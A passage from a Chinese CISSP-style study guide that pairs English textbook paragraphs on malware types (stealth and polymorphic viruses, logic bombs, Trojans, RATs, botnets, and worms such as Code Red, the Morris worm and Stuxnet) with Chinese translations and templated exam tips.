宏病毒之所以广泛传播,是因为现代生产力应用程序使用的脚本语言 (如VBA)编写代码非常容易。 在20世纪后期出现了一系列宏病毒后,生产力软件开发者对宏开发环境进 行了重要改进,限制了未经信任的宏在未经用户明确许可的情况下运行的 能力。 这导致宏病毒的流行程度大幅下降。 服务注入病毒 最近爆发的恶意代码采用了另一种技术来感染系统并逃避检测—— 将自身注入操作系统的可信运行进程,例如 svchost.exe、winlogon.exe 和 explorer.exe。 通过成功入侵这些可信进程,恶意代码能够绕过主机上运行的任 何防病毒软件的检测。 保护系统免受服务注入的最佳技术之一是确保所有允许查 看网页内容的软件(例如浏览器、媒体播放器、辅助应用程序)都及时获得安全 补丁。 病毒技术 随着病毒检测和清除技术不断发展以应对恶意开发者编程的新威胁,新的病毒 类型也随之出现,旨在击败这些防护系统。 本节将探讨四种使用隐蔽技术试图 逃避检测的特定病毒类型: 多部分病毒 多部分病毒 使用多种传播技术,试图渗透仅防御其中一种方法的系 统。 例如,病毒可能通过在每个文件中添加恶意代码来感染关键的 COM 和 EXE 文件。

这一特性使其成为文件感染型病毒。 然后,同一病毒可能将恶意代码 写入系统的主引导记录,使其成为引导扇区病毒。 潜伏病毒 潜伏病毒 通过实际篡改操作系统来隐藏自身,欺骗杀毒软件,使其 误以为一切运行正常。 例如,一个潜伏的引导扇区病毒可能会用恶意代码覆盖 系统的主引导记录,但同时修改操作系统的文件访问功能以掩盖其

小白解释

场景先行:凌晨监控告警:某台服务器开始大量外连。你不能先忙着写报告,也不能直接关全网。事件响应要按顺序做:确认、遏制、根除、恢复、复盘。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:步骤乱了会扩大损失,或者破坏证据。

你作为负责人可以这样想:先保全证据和控制影响,再清除原因并恢复业务。

本页术语用人话说:

程序:程序是一步一步怎么做。

强制访问控制 MAC:MAC 由系统根据标签和级别强制决定访问。

日志:日志记录系统和用户活动,用于监控、审计和调查。

注入攻击:注入攻击把恶意输入当命令或查询执行。

常见误区:不要一上来就删除文件或重装系统;可能会破坏调查证据。

读完后用一句话复述:如果我是事件响应负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1401 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是事件响应负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

Step-by-step、SOP 常对应 procedure。

政府/军方、机密级别、标签、不可由用户随意改通常是 MAC。

日志要保护完整性、时间同步和访问控制。

SQL 注入、命令注入常靠输入验证、参数化查询防御。

防恶意代码要结合补丁、最小权限、检测、备份和用户培训。

排除法提醒:不要一上来就删除文件或重装系统;可能会破坏调查证据。

本页术语拆解
程序 程序是一步一步怎么做。
强制访问控制 MAC MAC 由系统根据标签和级别强制决定访问。
日志 日志记录系统和用户活动,用于监控、审计和调查。
注入攻击 注入攻击把恶意输入当命令或查询执行。
恶意代码 恶意代码包括病毒、蠕虫、木马、勒索软件等。
学习单元 08 / PDF P1402

第 1402 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

tracks. When the antivirus package requests a copy of the MBR, the modified operating system code provides it with exactly what the antivirus package expects to see—a clean version of the MBR free of any virus signatures. However, when the system boots, it reads the infected MBR and loads the virus into memory. Polymorphic Viruses Polymorphic viruses actually modify their own code as they travel from system to system. The virus's propagation and destruction techniques remain the same, but the signature of the virus is somewhat different each time it infects a new system.

It is the hope of polymorphic virus creators that this constantly changing signature will render signature-based antivirus packages useless. However, antivirus vendors have “cracked the code” of many polymorphic techniques, so current versions of antivirus software are able to detect known polymorphic viruses. However, it tends to take vendors longer to generate the necessary signature files to stop a polymorphic virus in its tracks, which means the virus can run free on the Internet for a longer time. Encrypted Viruses Encrypted viruses use cryptographic techniques, such as those described in Chapter 6, “Cryptography and Symmetric Key Algorithms,” to avoid detection.

Encrypted viruses alter the way they are stored on the disk. Encrypted viruses use a very short segment of code, known as the virus decryption routine, which contains the cryptographic information necessary to load and decrypt the main virus code stored elsewhere on the disk. Each infection utilizes a different cryptographic key, causing the main code to appear completely different on each system. However, the virus decryption routines often contain telltale signatures that render them vulnerable to updated antivirus software packages. Hoaxes No discussion of viruses is complete without mentioning the nuisance and wasted resources caused by virus hoaxes.

Almost every email user has, at one time or another, received a message forwarded by a friend or relative that warns of the latest virus threat roaming the Internet. Invariably, this purported “virus” is the most destructive virus ever unleashed, and no antivirus package is able to detect or eradicate it. Changes in the social media landscape have simply changed the way these hoaxes circulate. In addition to email messages, malware hoaxes now

中文直译 / 整理

踪迹。 当杀毒软件请求获取MBR的副本时,被修改的操作系统代码会提供其期 望看到的内容——一个不含任何病毒特征的干净MBR版本。 然而,当系统启动 时,它会读取被感染的MBR并将病毒加载到内存中。 多态病毒 多态病毒 在从一个系统传播到另一个系统时会修改自身的代码。 病毒的 传播和破坏机制保持不变,但每次感染新系统时,其病毒特征都会略有不同。 多 态病毒的创造者希望这种不断变化的特征能使基于特征签名的杀毒软件失效。 然 而,杀毒厂商已经“破解”了多种多态技术,因此当前版本的杀毒软件能够检测 出已知的多态病毒。 不过,厂商通常需要更长时间才能生成必要的特征文件以阻 止多态病毒的传播,这意味着该病毒可以在互联网上更长时间地自由传播。 加密病毒 加密病毒 使用加密技术,例如 第6章“加密学与对称密钥算法”中所 述的技术,以避免被检测。 加密病毒改变了其在磁盘上的存储方式。 加密病毒使 用一小段称为 病毒解密例程 的代码,其中包含加载和解密存储在磁盘其他位置 的主病毒代码所需的加密信息。 每次感染都会使用不同的加密密钥,导致主代码 在每个系统上看起来完全不同。

然而,病毒解密例程通常包含明显的特征签名, 使其容易被更新的杀毒软件包检测到。 骗局 任何关于病毒的讨论都离不开提及病毒骗局所带来的困扰和资源浪费。 几乎每 个电子邮件用户都曾收到过朋友或亲属转发的消息,警告他们互联网上正肆虐 着最新的病毒威胁。 这类所谓的“病毒” invariably 是有史以来最具破坏性的 病毒,没有任何杀毒软件能够检测或清除它。 社交媒体格局的变化仅仅改变了这些谣言的传播方式。 除了电子邮件外,恶意 软件谣言现在

小白解释

场景先行:财务要把合同发给供应商:不想被别人看懂,要加密;不想被人改金额,要校验完整性;不想对方抵赖,要签名和证书。密码学不是炫技,是解决这些业务信任问题。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:把加密、哈希、签名混在一起,会导致控制目标错位。

你作为负责人可以这样想:机密性用加密,完整性用哈希/签名,身份信任用证书和 PKI。

本页术语用人话说:

加密:加密把内容变成未授权者看不懂的形式。

密码学:密码学用数学方法保护信息,常用于机密性、完整性、认证和不可否认性。

对称加密:对称加密使用同一把密钥加密和解密,速度快但密钥分发难。

恢复点目标 RPO:RPO 是最多能接受丢失多少时间范围的数据。

常见误区:哈希不是加密;签名也不是为了隐藏内容。

读完后用一句话复述:如果我是系统架构师,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1402 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是系统架构师在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

加密主要保护机密性,也可配合签名、哈希支持完整性和真实性。

加密保护机密性,哈希保护完整性,数字签名支持完整性、真实性和不可否认性。

同一密钥、速度快、大数据加密常对应 symmetric。

RPO 问数据:最多丢到哪个时间点。

防恶意代码要结合补丁、最小权限、检测、备份和用户培训。

排除法提醒:哈希不是加密;签名也不是为了隐藏内容。

本页术语拆解
加密 加密把内容变成未授权者看不懂的形式。
密码学 密码学用数学方法保护信息,常用于机密性、完整性、认证和不可否认性。
对称加密 对称加密使用同一把密钥加密和解密,速度快但密钥分发难。
恢复点目标 RPO RPO 是最多能接受丢失多少时间范围的数据。
恶意代码 恶意代码包括病毒、蠕虫、木马、勒索软件等。
学习单元 09 / PDF P1403

安全控制框架:用成熟框架组织安全

框架帮助组织系统化管理控制,而不是想到哪做到哪。

教材原文段落

circulate via Facebook, WhatsApp, Snapchat, and other social media and messaging platforms. For more information on this topic, the myth-tracking website Snopes maintains a virus hoax list at www.snopes.com/tag/virus-hoaxes-realities. Logic Bombs Logic bombs are malicious code objects that infect a system and lie dormant until they are triggered by the occurrence of one or more conditions such as time, program launch, website logon, certain keystrokes, and so on. The vast majority of logic bombs are programmed into custom-built applications by software developers seeking to ensure that their work is destroyed if they unexpectedly leave the company. Logic bombs come in many shapes and sizes.

Indeed, many viruses and Trojan horses contain a logic bomb component. A logic bomb targeted organizations in South Korea in March 2013. This malware infiltrated systems belonging to South Korean media companies and financial institutions and caused both system outages and the loss of data. In this case, the malware attack triggered a military alert when the South Korean government suspected that the logic bomb was the prelude to an attack by North Korea. Logic bombs may also be integrated deeply within an existing system by a malicious developer, rather than being independent code objects.

For example, in July 2019, a contractor working for the Siemens Corporation pled guilty to including a logic bomb in software that he created under that contract. The point of the logic bomb was to periodically break the software, requiring that Siemens hire him again to fix the problem, guaranteeing him a steady stream of business. He successfully carried out his scheme for more than two years before being caught and sentenced to a six-month prison term. Trojan Horses System administrators constantly warn computer users not to download and install software from the Internet unless they are absolutely sure it comes from a trusted source.

In fact, many companies strictly prohibit the installation of any software not prescreened by the IT department. These policies serve to minimize the risk that an organization's network will be compromised by a Trojan horse—a software program that appears benevolent

中文直译 / 整理

通过Facebook、WhatsApp、Snapchat以及其他社交媒体和消息平台传播。 有关此主题的更多信息,恶意软件追踪网站 Snopes 维护了一个病毒骗局列表,地址 为 www.snopes.com/tag/virus-hoaxes-realities。 逻辑炸弹 逻辑炸弹是恶意代码对象,它们感染系统后处于休眠状态,直到满足一个或多 个条件(如时间、程序启动、网站登录、特定按键等)时才被触发。 绝大多数 逻辑炸弹由软件开发人员植入自定义应用程序中,以确保如果他们意外离开公 司,其工作将被销毁。 逻辑炸弹有多种形态和规模。 事实上,许多病毒和特洛伊木马都包含逻辑炸弹 组件。 2013年3月,一种逻辑炸弹针对韩国的组织发动了攻击。 这种恶意软件 渗透了韩国媒体公司和金融机构的系统,导致系统中断和数据丢失。 在此案例 中,当韩国政府怀疑该逻辑炸弹是朝鲜发动攻击的前兆时,恶意软件攻击触发 了军事警报。 逻辑炸弹也可能由恶意开发者深度集成到现有系统中,而非作为独立的代码对 象存在。 例如,2019年7月,一名为西门子公司工作的承包商承认,他在该合 同下开发的软件中植入了逻辑炸弹。

该逻辑炸弹的目的是定期破坏软件,迫使 西门子公司再次雇佣他来修复问题,从而确保他获得稳定的业务来源。 他在被 抓获并被判处六个月监禁之前,成功实施了这一计划超过两年。 特洛伊木马 系统管理员不断警告计算机用户,除非绝对确信软件来自可信来源,否则不要 从互联网下载和安装软件。 事实上,许多公司严格禁止安装未经IT部门预先审 查的任何软件。 这些政策旨在最大限度地降低组织网络被木马——一种看似无 害的软件程序——入侵的风险

小白解释

场景先行:凌晨监控告警:某台服务器开始大量外连。你不能先忙着写报告,也不能直接关全网。事件响应要按顺序做:确认、遏制、根除、恢复、复盘。

这一页真正想让你理解的是:框架帮助组织系统化管理控制,而不是想到哪做到哪。

把它放进公司里看,关键不是背定义,而是判断:步骤乱了会扩大损失,或者破坏证据。

你作为负责人可以这样想:先保全证据和控制影响,再清除原因并恢复业务。

本页术语用人话说:

ISO:ISO 是国际标准化组织,常见安全管理体系如 ISO 27001/27002。

NIST:NIST 提供美国常用安全标准、框架和指南。

政策:政策是高层原则,说明必须遵守什么。

程序:程序是一步一步怎么做。

常见误区:不要一上来就删除文件或重装系统;可能会破坏调查证据。

读完后用一句话复述:如果我是事件响应负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“安全控制框架:用成熟框架组织安全”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是事件响应负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

ISO 偏标准和管理体系。

看到 SP 800 系列、CSF、RMF 常联想到 NIST。

Policy 高层、强制、稳定;Procedure 具体步骤。

Step-by-step、SOP 常对应 procedure。

日志要保护完整性、时间同步和访问控制。

排除法提醒:不要一上来就删除文件或重装系统;可能会破坏调查证据。

本页术语拆解
ISO ISO 是国际标准化组织,常见安全管理体系如 ISO 27001/27002。
NIST NIST 提供美国常用安全标准、框架和指南。
政策 政策是高层原则,说明必须遵守什么。
程序 程序是一步一步怎么做。
日志 日志记录系统和用户活动,用于监控、审计和调查。
恢复点目标 RPO RPO 是最多能接受丢失多少时间范围的数据。
恶意代码 恶意代码包括病毒、蠕虫、木马、勒索软件等。
学习单元 10 / PDF P1404

安全控制框架:用成熟框架组织安全

框架帮助组织系统化管理控制,而不是想到哪做到哪。

教材原文段落

but carries a malicious, behind-the-scenes payload that has the potential to wreak havoc on a system or network. Trojans differ very widely in functionality. Some will destroy all the data stored on a system in an attempt to cause a large amount of damage in as short a time frame as possible. Some are fairly innocuous. For example, a series of Trojans claimed to provide PC users with the ability to run games designed for the Microsoft Xbox gaming system on their computers. When users ran the program, it simply didn't work. However, it also inserted a value into the Windows Registry that caused a specific web page to open each time the computer booted.

The Trojan creators hoped to cash in on the advertising revenue generated by the large number of page views their website received from the Xbox Trojan horses. Unfortunately for them, antivirus experts quickly discovered their true intentions, and the website was shut down. One category of Trojan that has recently made a significant impact on the security community is rogue antivirus software. This software tricks the user into installing it by claiming to be an antivirus package, often under the guise of a pop-up ad that mimics the look and feel of a security warning.

Once the user installs the software, it either steals personal information or prompts the user for payment to “update” the rogue antivirus. The “update” simply disables the Trojan. Remote access Trojans (RATs) are a subcategory of Trojans that open backdoors in systems that grant the attacker remote administrative control of the infected system. For example, a RAT might open a Secure Shell (SSH) port on a system that allows the attacker to use a preconfigured account to access the system and then send a notice to the attacker that the system is ready and waiting for a connection.

Other Trojans are designed to steal computing power from infected systems for use in mining Bitcoin or other cryptocurrencies. This use of computing power yields a financial reward for the attacker. Trojans and other malware that perform cryptocurrency mining are also known as cryptomalware.

中文直译 / 整理

但其背后隐藏着恶意的有效载荷,可能对系统或网络造成严重破坏。 木马的功能差异极大。 有些木马会破坏系统中存储的所有数据,试图在尽可能 短的时间内造成巨大破坏; 有些则相对无害。 例如,有一系列木马声称能够使 PC用户在计算机上运行专为微软Xbox游戏系统设计的游戏。 当用户运行该程 序时,它根本无法工作。 然而,它还会在Windows注册表中插入一个值,导致 每次计算机启动时都会打开某个特定网页。 木马的创建者希望借助其网站因 Xbox木马病毒获得的大量页面浏览量来获取广告收入。 不幸的是,反病毒专家 很快发现了它们的真实意图,该网站已被关闭。 最近对安全社区产生重大影响的一种木马类别是假冒反病毒软件。 这种软件通 过伪装成反病毒程序来诱骗用户安装,通常以模仿安全警告外观和风格的弹出 广告形式出现。 一旦用户安装了该软件,它要么窃取个人信息,要么提示用户 支付费用以“更新”这款假冒反病毒软件。 所谓的“更新”只是禁用了木马本 身。 远程访问木马(RATs)是木马的一个子类,它们在系统中打开后门,使攻击者 能够远程控制被感染的系统。

例如,一个RAT可能在系统上打开一个安全外壳 (SSH)端口,允许攻击者使用预配置的账户访问系统,然后向攻击者发送通 知,告知系统已准备就绪并等待连接。 其他木马旨在窃取受感染系统的计算能力,用于挖矿比特币或其他加密货币。 这种计算能力的使用为攻击者带来了经济回报。 执行加密货币挖矿的木马和 其他恶意软件也被称为cryptomalware。

小白解释

场景先行:开发团队要上线登录功能。安全不是上线前扫一下漏洞,而是从需求、设计、编码、测试、发布到运维都要参与。

这一页真正想让你理解的是:框架帮助组织系统化管理控制,而不是想到哪做到哪。

把它放进公司里看,关键不是背定义,而是判断:安全太晚介入,修复成本高,还可能把漏洞带到生产环境。

你作为负责人可以这样想:在 SDLC 早期做威胁建模、代码审查、测试和发布控制。

本页术语用人话说:

加密:加密把内容变成未授权者看不懂的形式。

NIST:NIST 提供美国常用安全标准、框架和指南。

程序:程序是一步一步怎么做。

恶意代码:恶意代码包括病毒、蠕虫、木马、勒索软件等。

常见误区:不要只靠上线前一次扫描;安全要嵌入整个生命周期。

读完后用一句话复述:如果我是应用安全负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“安全控制框架:用成熟框架组织安全”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是应用安全负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

加密主要保护机密性,也可配合签名、哈希支持完整性和真实性。

看到 SP 800 系列、CSF、RMF 常联想到 NIST。

Step-by-step、SOP 常对应 procedure。

防恶意代码要结合补丁、最小权限、检测、备份和用户培训。

排除法提醒:不要只靠上线前一次扫描;安全要嵌入整个生命周期。

本页术语拆解
加密 加密把内容变成未授权者看不懂的形式。
NIST NIST 提供美国常用安全标准、框架和指南。
程序 程序是一步一步怎么做。
恶意代码 恶意代码包括病毒、蠕虫、木马、勒索软件等。
学习单元 11 / PDF P1405

第 1405 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

Botnets A few years ago, one of the authors of this book visited an organization that suspected it had a security problem, but the organization didn't have the expertise to diagnose or resolve the issue. The major symptom was network slowness. A few basic tests found that none of the systems on the company's network ran basic antivirus software, and some of them were infected with a Trojan horse. Why did this cause network slowness? Well, the Trojan horse made all the infected systems members of a botnet, a collection of computers (sometimes thousands or even millions) across the Internet under the control of an attacker known as the botmaster.

The botmaster of this particular botnet used the systems on their network as part of a denial-of-service attack against a website that he didn't like for one reason or another. He instructed all the systems in his botnet to retrieve the same web page, over and over again, in hopes that the website would fail under the heavy load. With close to 30 infected systems on the organization's network, the botnet's attack was consuming almost all its bandwidth. The solution was simple: Antivirus software was installed on the systems, and it removed the Trojan horse. Network speeds returned to normal quickly.

More detailed coverage of botnets appeared in Chapter 17, “Preventing and Responding to Incidents.” Worms Worms pose a significant risk to network security. They contain the same destructive potential as other malicious code objects with an added twist— they propagate themselves without requiring any human intervention. The Internet Worm was the first major computer security incident to occur on the Internet. Since that time, thousands of new worms and their variants have unleashed their destructive power on the Internet. The following sections examine some specific worms.

中文直译 / 整理

僵尸网络 几年前,本书的一位作者访问了一家机构,该机构怀疑自己存在安全问题, 但缺乏诊断或解决该问题的专业知识。 主要症状是网络缓慢。 经过一些基 本测试发现,该公司网络中的所有系统均未运行基本的防病毒软件,其中 一些系统已被木马感染。 这为何导致网络变慢? 原因是,该木马程序将所有被感染的系统变成了 一个僵尸网络的成员,这是一个由攻击者(称为僵尸主控者)控制的、 遍布互联网的计算机集合(有时多达数千台甚至数百万台)。 这个特定僵尸网络的僵尸主控者,将网络中的系统用于对一个他不喜欢的网 站发起拒绝服务攻击,原因可能多种多样。 他命令其僵尸网络中的所有系统 反复请求同一网页,希望网站在巨大负载下崩溃。 由于该组织网络中接近 30台系统被感染,僵尸网络的攻击几乎耗尽了全部带宽。 解决方案很简单:在系统上安装了防病毒软件,并移除了木马程序。 网络 速度很快恢复正常。 关于僵尸网络的更详细内容见第17章,“事件的预防 与响应。 ” 蠕虫 蠕虫对网络安全构成重大威胁。 它们具有与其他恶意代码对象相同的破 坏潜力,但额外的特点是:无需任何人为干预即可自我传播。 互联网蠕虫是互联网上发生的首个重大计算机安全事件。

自那时以来,成千 上万种新的蠕虫及其变种在互联网上释放了它们的破坏力。 以下部分将考察 一些特定的蠕虫。

小白解释

场景先行:开发团队要上线登录功能。安全不是上线前扫一下漏洞,而是从需求、设计、编码、测试、发布到运维都要参与。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:安全太晚介入,修复成本高,还可能把漏洞带到生产环境。

你作为负责人可以这样想:在 SDLC 早期做威胁建模、代码审查、测试和发布控制。

本页术语用人话说:

程序:程序是一步一步怎么做。

恶意代码:恶意代码包括病毒、蠕虫、木马、勒索软件等。

常见误区:不要只靠上线前一次扫描;安全要嵌入整个生命周期。

读完后用一句话复述:如果我是应用安全负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1405 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是应用安全负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

Step-by-step、SOP 常对应 procedure。

防恶意代码要结合补丁、最小权限、检测、备份和用户培训。

排除法提醒:不要只靠上线前一次扫描;安全要嵌入整个生命周期。

本页术语拆解
程序 程序是一步一步怎么做。
恶意代码 恶意代码包括病毒、蠕虫、木马、勒索软件等。
学习单元 12 / PDF P1406

安全控制框架:用成熟框架组织安全

框架帮助组织系统化管理控制,而不是想到哪做到哪。

教材原文段落

Code Red Worm The Code Red worm received a good deal of media attention in the summer of 2001 when it rapidly spread among web servers running unpatched versions of Microsoft's Internet Information Server (IIS). Code Red performed three malicious actions on the systems it penetrated: It randomly selected hundreds of Internet Protocol (IP) addresses and then probed those addresses to see whether they were used by hosts running a vulnerable version of IIS. Any systems it found were quickly compromised. This greatly magnified Code Red's reach because each host it infected sought many new targets.

It defaced HTML pages on the local web server, replacing normal content with the following text: Welcome to http://www.worm.com! Hacked By Chinese! It planted a logic bomb that would initiate a denial-of-service attack against the IP address 198.137.240.91, which at that time belonged to the web server hosting the White House's home page. Quick-thinking government web administrators changed the White House's IP address before the attack actually began. The destructive power of worms poses an extreme risk to the modern internet. System administrators must ensure that they apply appropriate security patches to their internet-connected systems as software vendors release them.

As a case in point, a security fix for an IIS vulnerability exploited by Code Red was available from Microsoft for more than a month before the worm attacked the Internet. Had security administrators applied it promptly, Code Red would have been a miserable failure.

中文直译 / 整理

红色代码蠕虫 2001年夏季,Code Red蠕虫在运行未打补丁版本的微软互联网信息服务器( IIS)的Web服务器中迅速传播,引起了大量媒体关注。 Code Red在其渗透的 系统上执行了三种恶意操作: 它随机选择数百个互联网协议(IP)地址,然后探测这些地址,以判断它 们是否被运行存在漏洞的IIS版本的主机使用。 它发现的任何系统都会迅速 被入侵。 这极大地扩大了红色代码的传播范围,因为每个被感染的主机都 会寻找大量新目标。 它篡改了本地Web服务器上的HTML页面,将正常内容替换为以下文本: 欢迎访问 http://www.worm.com! 由中国 黑客入侵! 它植入了一个逻辑炸弹,计划对IP地址198.137.240.91发起拒绝服务攻击, 该地址当时属于托管白宫主页的Web服务器。 政府网站管理员迅速行动, 在攻击实际开始前更改了白宫的IP地址。 蠕虫的破坏力对现代互联网构成了极端风险。 系统管理员必须在软件供应商发 布安全补丁后,及时为其联网系统应用适当的安全补丁。 以Code Red为例, 微软早在蠕虫攻击互联网前一个多月就已发布了针对IIS漏洞的安全修复程序。

如果安全管理员能及时应用该补丁,Code Red本会以惨败告终。

小白解释

场景先行:凌晨监控告警:某台服务器开始大量外连。你不能先忙着写报告,也不能直接关全网。事件响应要按顺序做:确认、遏制、根除、恢复、复盘。

这一页真正想让你理解的是:框架帮助组织系统化管理控制,而不是想到哪做到哪。

把它放进公司里看,关键不是背定义,而是判断:步骤乱了会扩大损失,或者破坏证据。

你作为负责人可以这样想:先保全证据和控制影响,再清除原因并恢复业务。

本页术语用人话说:

NIST:NIST 提供美国常用安全标准、框架和指南。

程序:程序是一步一步怎么做。

日志:日志记录系统和用户活动,用于监控、审计和调查。

常见误区:不要一上来就删除文件或重装系统;可能会破坏调查证据。

读完后用一句话复述:如果我是事件响应负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“安全控制框架:用成熟框架组织安全”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是事件响应负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

看到 SP 800 系列、CSF、RMF 常联想到 NIST。

Step-by-step、SOP 常对应 procedure。

日志要保护完整性、时间同步和访问控制。

排除法提醒:不要一上来就删除文件或重装系统;可能会破坏调查证据。

本页术语拆解
NIST NIST 提供美国常用安全标准、框架和指南。
程序 程序是一步一步怎么做。
日志 日志记录系统和用户活动,用于监控、审计和调查。
学习单元 13 / PDF P1407

第 1407 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

RTM and the Internet Worm In November 1988, a young computer science student named Robert Tappan Morris brought the fledgling internet to its knees with a few lines of computer code. He released onto the Internet a malicious worm he claimed to have created as an experiment. It spread quickly and crashed a large number of systems. This worm spread by exploiting four specific security holes in the Unix operating system: Sendmail Debug Mode Then-current versions of the popular Sendmail software package used to route electronic mail messages across the Internet contained a security vulnerability.

This vulnerability allowed the worm to spread itself by sending a specially crafted email message that contained the worm's code to the Sendmail program on a remote system. When the remote system processed the message, it became infected. Password Attack The worm also used a dictionary attack to attempt to gain access to remote systems by utilizing the username and password of a valid system user. This is frequently done either by brute force or by using prebuilt password lists. Finger Vulnerability Finger, a popular internet utility, allowed users to determine who was logged on to a remote system.

Then-current versions of the Finger software contained a buffer-overflow vulnerability that allowed the worm to spread (see “Buffer Overflows,” later in this chapter). The Finger program has since been removed from most internet-connected systems. Trust Relationships After the worm infected a system, it analyzed any existing trust relationships with other systems on the network and attempted to spread itself to those systems through the trusted path. This multipronged approach made the Internet Worm extremely dangerous. Fortunately, the (then-small) computer security community quickly put together a crack team of investigators who disarmed the worm and patched the affected systems.

Their efforts were facilitated by several inefficient routines in the worm's code that limited the rate of its spread. Because of the lack of experience among law enforcement authorities and the court system in dealing with computer crimes, along with a lack of relevant laws, Morris received only a slap on the wrist for RTM

中文直译 / 整理

与互联网蠕虫 1988年11月,一名名叫罗伯特·塔潘·莫里斯的年轻计算机科学学生,仅用几 行代码便使初生的互联网陷入瘫痪。 他释放了一个声称是作为实验而创建 的恶意蠕虫。 该蠕虫迅速传播,并导致大量系统崩溃。 该蠕虫通过利用 Unix 操作系统中的四个特定安全漏洞进行传播: Sendmail 调试模式当时流行的 Sendmail 软件包用于在互联网上路由电 子邮件,其中包含一个安全漏洞。 该漏洞允许蠕虫通过发送特制的电子邮 件消息来传播自身,该消息包含蠕虫代码并发送到远程系统的 Send mail 程序。 当远程系统处理该消息时,便被感染。 密码攻击蠕虫还使用字典攻击,尝试通过利用有效系统用户的用户名和密 码获取对远程系统的访问权限。 这通常通过暴力破解或使用预构建的密码 列表来实现。 Finger 漏洞Finger 是一种流行的互联网工具,允许用户确定谁登录到了 远程系统。 当时的 Finger 软件版本存在缓冲区溢出漏洞,使蠕虫得以传播 (参见本章后面的“缓冲区溢出”)。 此后,Finger 程序已从大多数互联 网连接的系统中移除。

信任关系蠕虫感染系统后,会分析该系统与网络中其他系统之间的任何现 有信任关系,并尝试通过受信任的路径向这些系统传播自身。 这种多管齐下的方法使互联网蠕虫变得极其危险。 幸运的是,当时规模尚 小的计算机安全社区迅速组建了一支调查小组,成功解除了蠕虫的威胁并 修补了受影响的系统。 他们的努力得益于蠕虫代码中几个效率低下的例程, 这些例程限制了蠕虫的传播速度。 由于执法部门和司法系统在处理计算机 犯罪方面缺乏经验,且缺乏相关法律,莫里斯仅因这一行为受到了轻微处 罚

小白解释

场景先行:员工在家访问公司系统,流量要穿过家庭网络、互联网、防火墙、VPN、服务器。网络安全题就是让你判断问题发生在哪一层、用哪个控制放在什么位置。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:不分层就会乱选设备:该加密的地方装防火墙,该监测的地方却只做访问控制。

你作为负责人可以这样想:先定位网络层次,再决定是分段、过滤、加密、检测还是阻断。

本页术语用人话说:

程序:程序是一步一步怎么做。

入侵防御系统 IPS:IPS 可检测并主动阻断恶意流量。

日志:日志记录系统和用户活动,用于监控、审计和调查。

常见误区:不要以为防火墙能解决所有网络问题;它只是控制流量的一类工具。

读完后用一句话复述:如果我是网络安全工程师,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1407 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是网络安全工程师在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

Step-by-step、SOP 常对应 procedure。

IPS 放在线路中,误报可能影响可用性。

日志要保护完整性、时间同步和访问控制。

排除法提醒:不要以为防火墙能解决所有网络问题;它只是控制流量的一类工具。

本页术语拆解
程序 程序是一步一步怎么做。
入侵防御系统 IPS IPS 可检测并主动阻断恶意流量。
日志 日志记录系统和用户活动,用于监控、审计和调查。
学习单元 14 / PDF P1408

安全控制框架:用成熟框架组织安全

框架帮助组织系统化管理控制,而不是想到哪做到哪。

教材原文段落

his transgression. He was sentenced to 3 years’ probation, 400 hours of community service, and a $10,000 fine under the Computer Fraud and Abuse Act of 1986. Ironically, Morris's father, Robert Morris, was serving as the director of the National Security Agency's National Computer Security Center (NCSC) at the time of the incident. Stuxnet In mid-2010, a worm named Stuxnet surfaced on the Internet. This highly sophisticated worm uses a variety of advanced techniques to spread, including multiple previously undocumented vulnerabilities.

Stuxnet uses the following propagation techniques: Searching for unprotected administrative shares of systems on the local network Exploiting zero-day vulnerabilities in the Windows Server service and Windows Print Spooler service Connecting to systems using a default database password Spreading by the use of shared infected USB drives While Stuxnet spread from system to system with impunity, it was actually searching for a very specific type of system—one using a controller manufactured by Siemens and allegedly used in the production of material for nuclear weapons.

